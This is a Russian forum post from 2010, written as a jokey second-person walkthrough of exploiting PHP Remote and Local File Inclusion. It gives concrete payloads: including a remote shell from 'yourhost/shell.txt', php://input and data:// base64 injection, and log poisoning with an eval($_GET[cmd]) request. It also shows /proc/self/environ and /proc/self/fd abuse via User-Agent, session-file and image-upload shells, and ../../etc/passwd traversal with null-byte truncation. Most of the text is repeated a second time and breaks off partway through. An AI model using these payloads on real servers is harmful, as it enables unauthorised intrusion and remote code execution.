Expl0ited
30.09.2010, 13:33
В этом теме я надеюсь собрать максимально возможную информацию о ( Local | Remote ) File Inclusion, и описать принцип работы более доступно для широких масс.
Для понимания о чем пойдет речь ниже, необходимо знать основу PHP и работу функций отвечающих за подключение файлов, а так же архитектуру каталогов в *nix системах, ну и наверное смекалку.
Начнем с того, что File Inclusion делится на две основные ветви.
Remote File Inclusion.
Local File Inclusion.
Основосоставляющая у них одна, это недостаточная фильтрация переменной (читать как беспантовая фильтрация, на смом деле, очень плахая фильтрация (http://www.youtube.com/watch?v=BX6TpJChNT0)), которая используется в функциях отвечающих за подключения файлов (например функцииinclude (http://php.su/functions/?include)(), require (http://php.su/functions/?require)()), разница лишь в том, что в случае Remote File Inclusion эта переменная одна или стоит на первом месте (с лева на право) в вызове функции и в настройках PHP (http://www.avege.ru/russian/php_5/php_04.shtml) включены allow_url_fopen и allow_url_include, а Local File Inclusion это вообще присутствие той же самой переменной в функции отвечающий за подключение файла, в любом месте и отключенные allow_url_fopen и allow_url_include соответственно.
Получается, представим например такой код:
Казалось бы этому горе кодеру, что юзер будет ходить только по заведомо указанным файлам, но оказалось, что ты не из числа тех юзеров, и твой пытливый ум предположил, что если вместо этих заведомо известных, подставить что-то свое, то...
Впрочем зачем говорить, ты берешь и делаешь: httр://localhost/?переменная=Какая_гадость,_ та_ваша_заливная_рыба!
И вуаля, если принудительно никто не отключил сообщения об ошибках, то ты увидишь нечто похожее:
Warning: include(Какая_гадос ‚СЊ,_эта_ваша_Р·Р° ливная_рыба!) [function.include]: failed to open stream: No such file or directory in /home/www/index.php on line 2
Warning: include() [function.include]: Failed opening '(Какая_РіР°РґРѕСЃС‚С Њ,_эта_ваша_заливная_рыба!' for inclusion (include_path='.;/etc/php/pear/') in /home/www/index.php on line 2
Если вывод ошибок все таки отключен, то это печально и ты ничего не увидишь (или же в зависимости от ситуации в боевых условиях, какой-нибудь редирект или алерт). Воот.
Теперь ты имеешь полноценный Remote File Inclusion, если настройки PHP удовлетворительно положительны (смотреть выше), то записав в переменную ссылку на свой шелл, ты получишь полноценный шелл, т.е.:
httр://localhost/?переменная=http://сайт_где_у_нас.шелл/ну_и_сам.шелл
Как ты уже наверное догадался, после передачи переменной 'переменная', определенным методом (в данном случае GET), в код, код принимает такой вид:
со всеми вытекающими последствиями.
Ну а уж если настройки этого самого PHP очень скучны своими Offами, то ты имеешь дело с Local File Inclusion, впрочем обо всем подробнее ниже.
Remote File Inclusion
Remote File Inclusion - это подключение произвольного файла из внешнего сервера в работу уязвимого файла. Для эксплуатации необходимы два условия в настройках php.ini:
allow_url_fopen = On
allow_url_include = On
Ты заходишь на сайт, а там такой код:
Эксплуатация проста до невозможности: httр://localhost/?page=http://yourhost/shell.txt
Хотя это уже было... и ты сообщил всё горе-кодеру.
Не долго подумав, он решил, что если в скрипте используется подключение файла с явным (так сказать навязанным) расширением , то его никто не взламает!
Не тут-то было, обход довольно элегантен, ты просто обрезаешь всё знаком вопроса ( ? ) заставив интерпретатор думать, что всё что идет после знака вопроса это переменные: httр://localhost/?page=http://yourhost/shell.txt? и опять сообщаешь кодеру.
Тот в полном негодовании о произошедшем в злости и с маленькими нервно-бегающими глазами, решил нахрен фильтровать протоколы HTTP и HTTPS полученные в переменных от пользователей:
страниц';die(); }
if($check!='http'&&$check!='https') {
include($_GET['page']);
} else die('Хакед дектед, уи-у-уи-у-уи-у');
...
?>
Но не унывая и напрягаясь, ты вспоминаешь, что если фильтруются только два протокола HTTP и HTTPS, то можно использовать третий: FTP, с которым PHP так же работает: httр://localhost/?page=ftp://user:рass@yourhost/shell.txt и с ухмылкой на лице, отправляешь очередной баг кодеру.
Горе-кодер, уже от беспомощности и непонимании происходящего, отфильтровал ВСЕ протоколы:
страниц';die(); }
if($check!='http'&&$check!='https'&&$check!='ftp') {
include($_GET['page']);
} else die('Хакед дектед, уи-у-уи-у-уи-у');
...
?>
Ну что ж, тут тебе на помощь придут потоки (http://php.net/manual/en/wrappers.php.php).
А кто это сделал? составляешь пакет и не медля ни минуты, отправляешь
POST httр://localhost/?page=
php://input
HTTP/1.1
Host: localhost
Content-length: 18
и о чудо, в ответ ты видишь результат выполнения функции phpinfo (http://www.pascalex.net/phpinfo.php)() из которой ты берешь например пути до скрипта который собственно и вызвал эту функцию. Дальше формируешь и отправляешь еще один пакет, но уже с функцией "ЗАЛИТЬ ШЕЛЛ НЕМЕДЛЕННО!!1", а именно , и если хватает прав на запись, то всё шелл тут httр://localhost/придумай_имя_файла.php, если не хватает, то что уж, нет так нет (читать как EPIC FAIL (http://lurkmore.ru/%D0%A4%D1%8D%D0%B9%D0%BB)), ведь всегда можно залиться во временную папку /tmp и подключить шелл оттуда.
После проделанных телодвижений, тебя осенило! Ведь еще можно же заюзать URL-схему: data (http://en.wikipedia.org/wiki/Data_URI_scheme) (перевод (http://rfc2.ru/2397.rfc))
Выглядит это примерно так:
data:[][;charset=][;base64],
А на деле можно использовать так: http://localhost/?page=data:,
Но если неугомонный кодер, очень жестко фильтрует полученные данные на всякие символы, то можно перевести всё в кодироку base64, а всякие плюсики и ровняшки (если такие будут) еще и в URL закодировать: httр://localhost/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA%2FPg%3D%3D (хотя можно и подобрать без фильтруемых символов).
Ты сообщил о найденых багах горе-кодеру, и пошел спать. Проснувшись утром, и зайдя снова на этот сайт, ты понимаешь, что всё, на этом и заканчиваются возможности Remote File Inclusion. Что теперь делать?
Local File Inclusion
Local File Inclusion - это подключение произвольного файла расположенного на локальном (читать как атакуемом (http://tinyurl.com/2fs77kz)) сервере в работу уязвимого.
Проснувшись утром, и зайдя снова на этот сайт, ты видишь(ты же наверняка нашел файл test.php, который содержит phpinfo(), давно забытый в корне сайта), что кодер, обезопасил себя, отключив allow_url_include в настройках PHP, мало того, он изменил код, указав в функции подключения файла полный путь до каталога вызываемого скрипта:
Понеслась конитель. Теперь тебе нужно сориентироваться на сервере, ты естественно знаешь, что сочетание двух точек ( .. ), обозначает подняться вверх на один каталог, а слэш ( / ), собственно сам каталог, т.е. если в командной строке выполнить команду cd .. ты поднимешься на один каталог вверх, если cd ../.. ты поднимешься на два каталога вверх, и т.д. Так как, теперь в коде, функция подключения файла сначала полностью открывает путь /home/www/, а затем указанный файл, то что бы открыть файл находящийся в другой директории, тебе нужно, выйти из текущего каталога: httр://localhost/?page=../../../полный/путь/до/нужного/файла.
Здесь тебе пригодиться любой файл, который тебе пригодится (тавтология же), а именно: [LIST]
не нарушающий синтаксис PHP кода. (содержащий в себе подобие , кодируешь всё в url, составляешь и отправляешь пакет:
POST
httр://localhost/
epicfaaaaaail.php?%3C%3Fphp+eval%28%24_GET%5Bcmd%5 D%29%3F%3E
HTTP/1.1
Host: localhost
А кто? Кто это сделал? Сервер, приняв и обработав запрос, выдает 404 ошибку (о несуществующей страницы epicfaaaaaail.php), и записал это в error_log, выглядеть на сервере это стало так:
127.0.0.1 - [29/Sep/2010:13:55:36 -0700] "GET /epicfaaaaaail.php? HTTP/1.1" 404 2326
т.е. получается, обратившись к этому логу, PHP интерпретатор обработает всё до как обычный текст, а значит всё, шелл есть. Ты обращаешься к error_log: httр://localhost/?page=../../../etc/httpd/log/error_log&cmd=phpinfo();die(); и ничуть не удивившись видишь результат выполнения phpinfo().
Думаю с логами веб-сервера проблем не должно возникнуть, так как их работа очевидна, запись всех ошибок возникших во время работы (error_log) и запись вообще всех действий пользователей (access_log), кстати в связи с тем что access_log записывает всё, что только можно, его размеры порой ужасают. А если работа очевидна, то и ход действий понятен, а если ход действий понятен, тогда, записываем то, что нужно, так как получится, подключаем и заливаемся.
НО! Но не всё так просто как казалось бы, ведь горе-кодер, оказался еще и администратором сервера, по этому он очень надежно спрятал логи, от пытливых твоих глаз. Ну не знал он, ну правда не знал о системном каталоге /proc, в котором лежат директории символизирующие запущенные процессы, в которых лежат файлы с информацией о процессе, и тем более о символической ссылке self, которая символически так ссылается на текущий процесс, а текущий процесс, у нас запустил кто? Правильно ты, из под пользователя apache, а ведь запись логов, это тоже процесс, исходя из этой логике ты понимаешь, что искать логи безнадежно и можно получить доступ к ним напрямую, и тут же вспоминаешь цитату из статьи M4Gа (http://www.xakep.ru/post/49508/) :
1. Через id процесса и ярлыки
/proc/%{PID}/fd/%{FD_ID}
Здесь: %{PID} - ид процесса (узнать можно, прочитав /proc/self/status), %{FD_ID} - ярлыки на соответствующие файлы (обычно 2 и 7 - логи апача).
Пример:
http://site.com/index.php?page=../../../../../../../../proc/self/status
Допустим, %{PID} равен 1228, тогда конечный эксплойт будет выглядеть следующим образом:
curl
"http://site.com/index.php?page=../../../../../../../../proc/1228/fd/2&cmd=phpinfo();"
-H "User-Agent: "
2. Напрямую, без узнавания id процесса
curl
"http://site.com/index.php?page=../../../../../../../../proc/self/fd/2&cmd=phpinfo();"
-H "User-Agent: "
Этот способ более приемлем для тебя, так как "self" - это всегда текущий процесс, а в первом случае %{PID} имеет дурное свойство очень часто меняться. В обоих перечисленных способах, как и в любом другом LFI логов апача, эти самые логи, естественно, должны быть доступны для чтения.
Ты же понимаешь, что /proc/self/status, часто бесполезен, из-за того что процессы бывают динамические и меняют свой PID, каждый раз при запуске процесса, по этому ты отбрасываешь первую часть, и пытаешься получить доступ к логам на прямую /proc/self/fd/{N} - где {N} это имя ярлыка, и ты понимаешь, что обычно не значит везде, и перебираешь от 1 до 15. Настройки такие настройки, индивидуальные.
Удача не улыбается. Но ты не унываешь, ведь есть еще ярлык cmdline, который отвечает за информацию о запуске процесса: httр://localhost/?page=../../../proc/self/cmdline
/usr/sbin/httpd-d/usr/lib/httpd/etc/httpd/conf/httpd.conf-kstart
И видишь, что конфиг веб-сервера, находится тут: /etc/httpd/conf/httpd.conf, который щедро одарит тебя путями до логов.
Файлы содержащие переменные окружения.
Просмотрев весь список процессов, и не найдя логи, ты естественно не унываешь, ведь у тебя еще куча методов, и ты вспоминаешь про файлы содержащие переменные окружения, глупо конечно называть один файл, во множественном числе, но он один, и это environ (http://www.opennet.ru/man.shtml?topic=environ&category=5), который так же находится в каталоге с процессами /proc/self. Он содержит в себе информацию о среде который запустил процесс, а именно в твоем случае, это информация о твоём браузере. Недолго думая ты открываешь: httр://localhost/?page=../../../proc/self/environ и видишь:
SERVER_SIGNATURE=
UNIQUE_ID=TKQvDFuVnSoAAAmXQA4AAAB3
HTTP_USER_AGENT=Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
SERVER_PORT=80
HTTP_HOST=localhost
REDIRECT_HANDLER=application/x-httpd-php5
DOCUMENT_ROOT=/home/www
HTTP_ACCEPT_CHARSET=windows-1251,utf-8;q=0.7,*;q=0.3
SCRIPT_FILENAME=/usr/local/cpanel/cgi-sys/php5
REQUEST_URI=/index.php?page=../../../proc/self/environ
SCRIPT_NAME=/cgi-sys/php5
HTTP_CONNECTION=keep-alive
PH_INFO=/index.php
REMOTE_PORT=42814
PATH=/usr/local/bin:/usr/bin:/bin
PWD=/usr/local/cpanel/cgi-sys
SERVER_ADMIN=admin@localhost
EDIRECT_STATUS=200
REDIRECT_QUERY_STRING=page=../../../proc/self/environ
HTTP_ACCEPT_LANGUAGE=ru-RU,ru;q=0.8,enS;q=0.6,en;q=0.4
PATH_TRANSLATED=/home/www/index.php
HTTP_ACCEPT=application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
REMOTE_ADDR=127.0.0.1
SHLVL=
0SERVER_NAME=localhost
SERVER_SOFTWARE=Apache
QUERY_STNG=page=../../../proc/self/environ
SERVER_ADDR=127.0.0.1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
HTTP_ACCEPT_ENCODING=gzip,deflate,sdch
REDIRECT_URL=/index.php
REQUEST_METHOD=GET
Из этих данных ты можешь управлять всем тем, что твой браузер отправляет на сервер, а значит, ты можешь записать и выполнить свой код. Что же тянуть, ты составляешь запрос и отправляешь его:
POST
httр://localhost/?page=
../../../proc/self/environ
HTTP/1.1
User-Agent:
Host: localhost
И опять успешно, ведь сервер схавал и переварил всё, что он получил, получается, что сначала создался процесс, и вся информации о среде процесса записалась в файл environ, после чего уязвимый скрипт подключил этот файл, очевидно же.
Файлы сессии.
ТЫСЯЧИ ЧЕРТЕЙ! Не один из способов не сработал до сих пор, логи ты не нашел, на каталог /proc тебе хватило прав. Что делать? Полазив по сайту ты нашел чат (форму авторизации/гостевую/еще что-то), логика его работы примерно такая, ты ввел свое имя, написал несколько сообщений, закрыл окно, после чего, каждый раз как ты туда зайдешь, ты будешь заходить под своим именем, примерный код:
После ввода имени, PHP запишет введенные данные в файл сессии во временном хранилище (место положении которого можно узнать из phpinfo() директива session.save_path, по дефолту каталог /tmp)
name|s:8:"Введенные данные";
и в ответ браузеру отправляет айди сессии в куках (Cookie: PHPSESSID=АЙДИ), за счет чего и проиходит работы.
Ты конечно же вместо именни ввел , это значит что создался файл сессии с таким содержанием:
name|s:8:"";
Тебе ничего не осталось, как взять айди этой сессии, и подключить её: httр://localhost/?page=../../../tmp/sess_тут_айди_сессии&cmd=phpinfo();
После проделаной махинации, ты приклеел на холодильник заметку "%username% не забудь, подключать сессии возможно только при условии: session.save_handler = files!".
Загружаемые пользователем файлы.
Здесь ты сразу догадался, вспомнив, что на сайте же есть возможность загружать фотографии своих домашних питомцев. Нагуглив картинку подходящего сайза, скачав и открыв в блакноте, ты записал туда всё тот же шелл , загрузил на сервер, и подключил её: httр://localhost/?page=/папка_с_картинками/твоя.картинка&cmd=phpinfo();
Другие файлы.
Здесь ты не стал заморачиваться, просто вспомнил статью slasha (https://antichat.live/threads/71902/) и сделал всё так, как он там рассказал.
Ну вот, казалось бы и всё, ты сделал все свои грязные делишки, о которых в последствии по пьяни рассказал своему другану Васи (который и был тем самым горе кодером).
Васёк, жизнью наученный, решил кардинально побеспокоиться о безопасности, он решил переписать код. Загуглив информацию о Local File Inclusion, он узнал, что если его код будет навязывать расширение:
То это легко обойдется Null-байтом, который обрежет всё, что после него идет: httр://localhost/?page=../../../etc/passwd%00 и включил magic_quotes_gpc (http://php.net/manual/en/security.magicquotes.php).
Вовремя он заметил, что нашлась альтернатива Null-байту, прочитав статьи тут про саму альтернативу (http://raz0r.name/articles/null-byte-alternative/) и вот тут, как льтернативу альтернативе Null-байту (https://rdot.org/forum/showpost.php?p=6942&postcount=29)
Дальше, Васёк, было дело решил вырезать из полученных данных все слэши ( / ):
$page=preg_replace('/..\//','',$_GET['page']);
Но узнал, что обратный слэш ( \ ), ничуть не хуже замена обычному: httр://localhost/?page=..\..\..\etc\passwd, плюс ко всему увидел много других способов (https://rdot.org/forum/showpost.php?p=3323&postcount=16).
В последствии, Васёк написал хорошую фильтрацию входящих переменных. А ты? А ты ищи другие способы, их обхода.
Источники из которых была взята информация, или очень полезные:
1. /thread89082.html
2. http://raz0r.name/articles/null-byte-alternative/
3. http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
4. http://wiki.apache.org/httpd/DistrosDefaultLayout
5. https://rdot.org/forum/showpost.php?p=6942&postcount=29
6. /thread71902.html
7. http://www.xakep.ru/post/49508/
Очень хотелось бы, если бы в комментариях была не только критика, но и дополнения.
Для понимания о чем пойдет речь ниже, необходимо знать основу PHP и работу функций отвечающих за подключение файлов, а так же архитектуру каталогов в *nix системах, ну и наверное смекалку.
Начнем с того, что File Inclusion делится на две основные ветви.
Remote File Inclusion.
Local File Inclusion.
Основосоставляющая у них одна, это недостаточная фильтрация переменной (читать как беспантовая фильтрация, на смом деле, очень плахая фильтрация (http://www.youtube.com/watch?v=BX6TpJChNT0)), которая используется в функциях отвечающих за подключения файлов (например функцииinclude (http://php.su/functions/?include)(), require (http://php.su/functions/?require)()), разница лишь в том, что в случае Remote File Inclusion эта переменная одна или стоит на первом месте (с лева на право) в вызове функции и в настройках PHP (http://www.avege.ru/russian/php_5/php_04.shtml) включены allow_url_fopen и allow_url_include, а Local File Inclusion это вообще присутствие той же самой переменной в функции отвечающий за подключение файла, в любом месте и отключенные allow_url_fopen и allow_url_include соответственно.
Получается, представим например такой код:
Казалось бы этому горе кодеру, что юзер будет ходить только по заведомо указанным файлам, но оказалось, что ты не из числа тех юзеров, и твой пытливый ум предположил, что если вместо этих заведомо известных, подставить что-то свое, то...
Впрочем зачем говорить, ты берешь и делаешь: httр://localhost/?переменная=Какая_гадость,_ та_ваша_заливная_рыба!
И вуаля, если принудительно никто не отключил сообщения об ошибках, то ты увидишь нечто похожее:
Warning: include(Какая_гадос ‚СЊ,_эта_ваша_Р·Р° ливная_рыба!) [function.include]: failed to open stream: No such file or directory in /home/www/index.php on line 2
Warning: include() [function.include]: Failed opening '(Какая_РіР°РґРѕСЃС‚С Њ,_эта_ваша_заливная_рыба!' for inclusion (include_path='.;/etc/php/pear/') in /home/www/index.php on line 2
Если вывод ошибок все таки отключен, то это печально и ты ничего не увидишь (или же в зависимости от ситуации в боевых условиях, какой-нибудь редирект или алерт). Воот.
Теперь ты имеешь полноценный Remote File Inclusion, если настройки PHP удовлетворительно положительны (смотреть выше), то записав в переменную ссылку на свой шелл, ты получишь полноценный шелл, т.е.:
httр://localhost/?переменная=http://сайт_где_у_нас.шелл/ну_и_сам.шелл
Как ты уже наверное догадался, после передачи переменной 'переменная', определенным методом (в данном случае GET), в код, код принимает такой вид:
со всеми вытекающими последствиями.
Ну а уж если настройки этого самого PHP очень скучны своими Offами, то ты имеешь дело с Local File Inclusion, впрочем обо всем подробнее ниже.
Remote File Inclusion
Remote File Inclusion - это подключение произвольного файла из внешнего сервера в работу уязвимого файла. Для эксплуатации необходимы два условия в настройках php.ini:
allow_url_fopen = On
allow_url_include = On
Ты заходишь на сайт, а там такой код:
Эксплуатация проста до невозможности: httр://localhost/?page=http://yourhost/shell.txt
Хотя это уже было... и ты сообщил всё горе-кодеру.
Не долго подумав, он решил, что если в скрипте используется подключение файла с явным (так сказать навязанным) расширением , то его никто не взламает!
Не тут-то было, обход довольно элегантен, ты просто обрезаешь всё знаком вопроса ( ? ) заставив интерпретатор думать, что всё что идет после знака вопроса это переменные: httр://localhost/?page=http://yourhost/shell.txt? и опять сообщаешь кодеру.
Тот в полном негодовании о произошедшем в злости и с маленькими нервно-бегающими глазами, решил нахрен фильтровать протоколы HTTP и HTTPS полученные в переменных от пользователей:
страниц';die(); }
if($check!='http'&&$check!='https') {
include($_GET['page']);
} else die('Хакед дектед, уи-у-уи-у-уи-у');
...
?>
Но не унывая и напрягаясь, ты вспоминаешь, что если фильтруются только два протокола HTTP и HTTPS, то можно использовать третий: FTP, с которым PHP так же работает: httр://localhost/?page=ftp://user:рass@yourhost/shell.txt и с ухмылкой на лице, отправляешь очередной баг кодеру.
Горе-кодер, уже от беспомощности и непонимании происходящего, отфильтровал ВСЕ протоколы:
страниц';die(); }
if($check!='http'&&$check!='https'&&$check!='ftp') {
include($_GET['page']);
} else die('Хакед дектед, уи-у-уи-у-уи-у');
...
?>
Ну что ж, тут тебе на помощь придут потоки (http://php.net/manual/en/wrappers.php.php).
А кто это сделал? составляешь пакет и не медля ни минуты, отправляешь
POST httр://localhost/?page=
php://input
HTTP/1.1
Host: localhost
Content-length: 18
и о чудо, в ответ ты видишь результат выполнения функции phpinfo (http://www.pascalex.net/phpinfo.php)() из которой ты берешь например пути до скрипта который собственно и вызвал эту функцию. Дальше формируешь и отправляешь еще один пакет, но уже с функцией "ЗАЛИТЬ ШЕЛЛ НЕМЕДЛЕННО!!1", а именно , и если хватает прав на запись, то всё шелл тут httр://localhost/придумай_имя_файла.php, если не хватает, то что уж, нет так нет (читать как EPIC FAIL (http://lurkmore.ru/%D0%A4%D1%8D%D0%B9%D0%BB)), ведь всегда можно залиться во временную папку /tmp и подключить шелл оттуда.
После проделанных телодвижений, тебя осенило! Ведь еще можно же заюзать URL-схему: data (http://en.wikipedia.org/wiki/Data_URI_scheme) (перевод (http://rfc2.ru/2397.rfc))
Выглядит это примерно так:
data:[][;charset=][;base64],
А на деле можно использовать так: http://localhost/?page=data:,
Но если неугомонный кодер, очень жестко фильтрует полученные данные на всякие символы, то можно перевести всё в кодироку base64, а всякие плюсики и ровняшки (если такие будут) еще и в URL закодировать: httр://localhost/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA%2FPg%3D%3D (хотя можно и подобрать без фильтруемых символов).
Ты сообщил о найденых багах горе-кодеру, и пошел спать. Проснувшись утром, и зайдя снова на этот сайт, ты понимаешь, что всё, на этом и заканчиваются возможности Remote File Inclusion. Что теперь делать?
Local File Inclusion
Local File Inclusion - это подключение произвольного файла расположенного на локальном (читать как атакуемом (http://tinyurl.com/2fs77kz)) сервере в работу уязвимого.
Проснувшись утром, и зайдя снова на этот сайт, ты видишь(ты же наверняка нашел файл test.php, который содержит phpinfo(), давно забытый в корне сайта), что кодер, обезопасил себя, отключив allow_url_include в настройках PHP, мало того, он изменил код, указав в функции подключения файла полный путь до каталога вызываемого скрипта:
Понеслась конитель. Теперь тебе нужно сориентироваться на сервере, ты естественно знаешь, что сочетание двух точек ( .. ), обозначает подняться вверх на один каталог, а слэш ( / ), собственно сам каталог, т.е. если в командной строке выполнить команду cd .. ты поднимешься на один каталог вверх, если cd ../.. ты поднимешься на два каталога вверх, и т.д. Так как, теперь в коде, функция подключения файла сначала полностью открывает путь /home/www/, а затем указанный файл, то что бы открыть файл находящийся в другой директории, тебе нужно, выйти из текущего каталога: httр://localhost/?page=../../../полный/путь/до/нужного/файла.
Здесь тебе пригодиться любой файл, который тебе пригодится (тавтология же), а именно: [LIST]
не нарушающий синтаксис PHP кода. (содержащий в себе подобие , кодируешь всё в url, составляешь и отправляешь пакет:
POST
httр://localhost/
epicfaaaaaail.php?%3C%3Fphp+eval%28%24_GET%5Bcmd%5 D%29%3F%3E
HTTP/1.1
Host: localhost
А кто? Кто это сделал? Сервер, приняв и обработав запрос, выдает 404 ошибку (о несуществующей страницы epicfaaaaaail.php), и записал это в error_log, выглядеть на сервере это стало так:
127.0.0.1 - [29/Sep/2010:13:55:36 -0700] "GET /epicfaaaaaail.php? HTTP/1.1" 404 2326
т.е. получается, обратившись к этому логу, PHP интерпретатор обработает всё до как обычный текст, а значит всё, шелл есть. Ты обращаешься к error_log: httр://localhost/?page=../../../etc/httpd/log/error_log&cmd=phpinfo();die(); и ничуть не удивившись видишь результат выполнения phpinfo().
Думаю с логами веб-сервера проблем не должно возникнуть, так как их работа очевидна, запись всех ошибок возникших во время работы (error_log) и запись вообще всех действий пользователей (access_log), кстати в связи с тем что access_log записывает всё, что только можно, его размеры порой ужасают. А если работа очевидна, то и ход действий понятен, а если ход действий понятен, тогда, записываем то, что нужно, так как получится, подключаем и заливаемся.
НО! Но не всё так просто как казалось бы, ведь горе-кодер, оказался еще и администратором сервера, по этому он очень надежно спрятал логи, от пытливых твоих глаз. Ну не знал он, ну правда не знал о системном каталоге /proc, в котором лежат директории символизирующие запущенные процессы, в которых лежат файлы с информацией о процессе, и тем более о символической ссылке self, которая символически так ссылается на текущий процесс, а текущий процесс, у нас запустил кто? Правильно ты, из под пользователя apache, а ведь запись логов, это тоже процесс, исходя из этой логике ты понимаешь, что искать логи безнадежно и можно получить доступ к ним напрямую, и тут же вспоминаешь цитату из статьи M4Gа (http://www.xakep.ru/post/49508/) :
1. Через id процесса и ярлыки
/proc/%{PID}/fd/%{FD_ID}
Здесь: %{PID} - ид процесса (узнать можно, прочитав /proc/self/status), %{FD_ID} - ярлыки на соответствующие файлы (обычно 2 и 7 - логи апача).
Пример:
http://site.com/index.php?page=../../../../../../../../proc/self/status
Допустим, %{PID} равен 1228, тогда конечный эксплойт будет выглядеть следующим образом:
curl
"http://site.com/index.php?page=../../../../../../../../proc/1228/fd/2&cmd=phpinfo();"
-H "User-Agent: "
2. Напрямую, без узнавания id процесса
curl
"http://site.com/index.php?page=../../../../../../../../proc/self/fd/2&cmd=phpinfo();"
-H "User-Agent: "
Этот способ более приемлем для тебя, так как "self" - это всегда текущий процесс, а в первом случае %{PID} имеет дурное свойство очень часто меняться. В обоих перечисленных способах, как и в любом другом LFI логов апача, эти самые логи, естественно, должны быть доступны для чтения.
Ты же понимаешь, что /proc/self/status, часто бесполезен, из-за того что процессы бывают динамические и меняют свой PID, каждый раз при запуске процесса, по этому ты отбрасываешь первую часть, и пытаешься получить доступ к логам на прямую /proc/self/fd/{N} - где {N} это имя ярлыка, и ты понимаешь, что обычно не значит везде, и перебираешь от 1 до 15. Настройки такие настройки, индивидуальные.
Удача не улыбается. Но ты не унываешь, ведь есть еще ярлык cmdline, который отвечает за информацию о запуске процесса: httр://localhost/?page=../../../proc/self/cmdline
/usr/sbin/httpd-d/usr/lib/httpd/etc/httpd/conf/httpd.conf-kstart
И видишь, что конфиг веб-сервера, находится тут: /etc/httpd/conf/httpd.conf, который щедро одарит тебя путями до логов.
Файлы содержащие переменные окружения.
Просмотрев весь список процессов, и не найдя логи, ты естественно не унываешь, ведь у тебя еще куча методов, и ты вспоминаешь про файлы содержащие переменные окружения, глупо конечно называть один файл, во множественном числе, но он один, и это environ (http://www.opennet.ru/man.shtml?topic=environ&category=5), который так же находится в каталоге с процессами /proc/self. Он содержит в себе информацию о среде который запустил процесс, а именно в твоем случае, это информация о твоём браузере. Недолго думая ты открываешь: httр://localhost/?page=../../../proc/self/environ и видишь:
SERVER_SIGNATURE=
UNIQUE_ID=TKQvDFuVnSoAAAmXQA4AAAB3
HTTP_USER_AGENT=Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
SERVER_PORT=80
HTTP_HOST=localhost
REDIRECT_HANDLER=application/x-httpd-php5
DOCUMENT_ROOT=/home/www
HTTP_ACCEPT_CHARSET=windows-1251,utf-8;q=0.7,*;q=0.3
SCRIPT_FILENAME=/usr/local/cpanel/cgi-sys/php5
REQUEST_URI=/index.php?page=../../../proc/self/environ
SCRIPT_NAME=/cgi-sys/php5
HTTP_CONNECTION=keep-alive
PH_INFO=/index.php
REMOTE_PORT=42814
PATH=/usr/local/bin:/usr/bin:/bin
PWD=/usr/local/cpanel/cgi-sys
SERVER_ADMIN=admin@localhost
EDIRECT_STATUS=200
REDIRECT_QUERY_STRING=page=../../../proc/self/environ
HTTP_ACCEPT_LANGUAGE=ru-RU,ru;q=0.8,enS;q=0.6,en;q=0.4
PATH_TRANSLATED=/home/www/index.php
HTTP_ACCEPT=application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
REMOTE_ADDR=127.0.0.1
SHLVL=
0SERVER_NAME=localhost
SERVER_SOFTWARE=Apache
QUERY_STNG=page=../../../proc/self/environ
SERVER_ADDR=127.0.0.1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
HTTP_ACCEPT_ENCODING=gzip,deflate,sdch
REDIRECT_URL=/index.php
REQUEST_METHOD=GET
Из этих данных ты можешь управлять всем тем, что твой браузер отправляет на сервер, а значит, ты можешь записать и выполнить свой код. Что же тянуть, ты составляешь запрос и отправляешь его:
POST
httр://localhost/?page=
../../../proc/self/environ
HTTP/1.1
User-Agent:
Host: localhost
И опять успешно, ведь сервер схавал и переварил всё, что он получил, получается, что сначала создался процесс, и вся информации о среде процесса записалась в файл environ, после чего уязвимый скрипт подключил этот файл, очевидно же.
Файлы сессии.
ТЫСЯЧИ ЧЕРТЕЙ! Не один из способов не сработал до сих пор, логи ты не нашел, на каталог /proc тебе хватило прав. Что делать? Полазив по сайту ты нашел чат (форму авторизации/гостевую/еще что-то), логика его работы примерно такая, ты ввел свое имя, написал несколько сообщений, закрыл окно, после чего, каждый раз как ты туда зайдешь, ты будешь заходить под своим именем, примерный код:
После ввода имени, PHP запишет введенные данные в файл сессии во временном хранилище (место положении которого можно узнать из phpinfo() директива session.save_path, по дефолту каталог /tmp)
name|s:8:"Введенные данные";
и в ответ браузеру отправляет айди сессии в куках (Cookie: PHPSESSID=АЙДИ), за счет чего и проиходит работы.
Ты конечно же вместо именни ввел , это значит что создался файл сессии с таким содержанием:
name|s:8:"";
Тебе ничего не осталось, как взять айди этой сессии, и подключить её: httр://localhost/?page=../../../tmp/sess_тут_айди_сессии&cmd=phpinfo();
После проделаной махинации, ты приклеел на холодильник заметку "%username% не забудь, подключать сессии возможно только при условии: session.save_handler = files!".
Загружаемые пользователем файлы.
Здесь ты сразу догадался, вспомнив, что на сайте же есть возможность загружать фотографии своих домашних питомцев. Нагуглив картинку подходящего сайза, скачав и открыв в блакноте, ты записал туда всё тот же шелл , загрузил на сервер, и подключил её: httр://localhost/?page=/папка_с_картинками/твоя.картинка&cmd=phpinfo();
Другие файлы.
Здесь ты не стал заморачиваться, просто вспомнил статью slasha (https://antichat.live/threads/71902/) и сделал всё так, как он там рассказал.
Ну вот, казалось бы и всё, ты сделал все свои грязные делишки, о которых в последствии по пьяни рассказал своему другану Васи (который и был тем самым горе кодером).
Васёк, жизнью наученный, решил кардинально побеспокоиться о безопасности, он решил переписать код. Загуглив информацию о Local File Inclusion, он узнал, что если его код будет навязывать расширение:
То это легко обойдется Null-байтом, который обрежет всё, что после него идет: httр://localhost/?page=../../../etc/passwd%00 и включил magic_quotes_gpc (http://php.net/manual/en/security.magicquotes.php).
Вовремя он заметил, что нашлась альтернатива Null-байту, прочитав статьи тут про саму альтернативу (http://raz0r.name/articles/null-byte-alternative/) и вот тут, как льтернативу альтернативе Null-байту (https://rdot.org/forum/showpost.php?p=6942&postcount=29)
Дальше, Васёк, было дело решил вырезать из полученных данных все слэши ( / ):
$page=preg_replace('/..\//','',$_GET['page']);
